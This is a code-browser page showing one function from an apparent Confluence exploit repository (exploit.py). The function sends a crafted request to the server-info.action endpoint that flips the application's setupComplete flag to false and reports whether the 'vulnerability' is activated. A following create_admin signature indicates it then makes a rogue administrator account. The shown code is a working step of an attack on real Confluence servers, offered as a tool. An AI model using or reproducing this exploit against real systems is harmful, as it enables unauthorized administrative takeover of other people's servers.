MCPcopy Create free account
hub / github.com/AIex-3/confluence-hack / vulnerability

Function vulnerability

exploit.py:19–27  ·  view source on GitHub ↗
(url: str)

Source from the content-addressed store, hash-verified

17
18
19def vulnerability(url: str) -> bool:
20 # Confluence is in 'Setup Successful' mode, which is usually only available after installation
21 res = requests.get(url=f"{url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
22 if res.status_code == 200:
23 print("[+] vulnerability activated")
24 return True
25 else:
26 print(f"[-] Status-Code: {res.status_code}")
27 return False
28
29
30def create_admin(url: str, username: str, password: str) -> bool:

Callers 1

exploit.pyFile · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected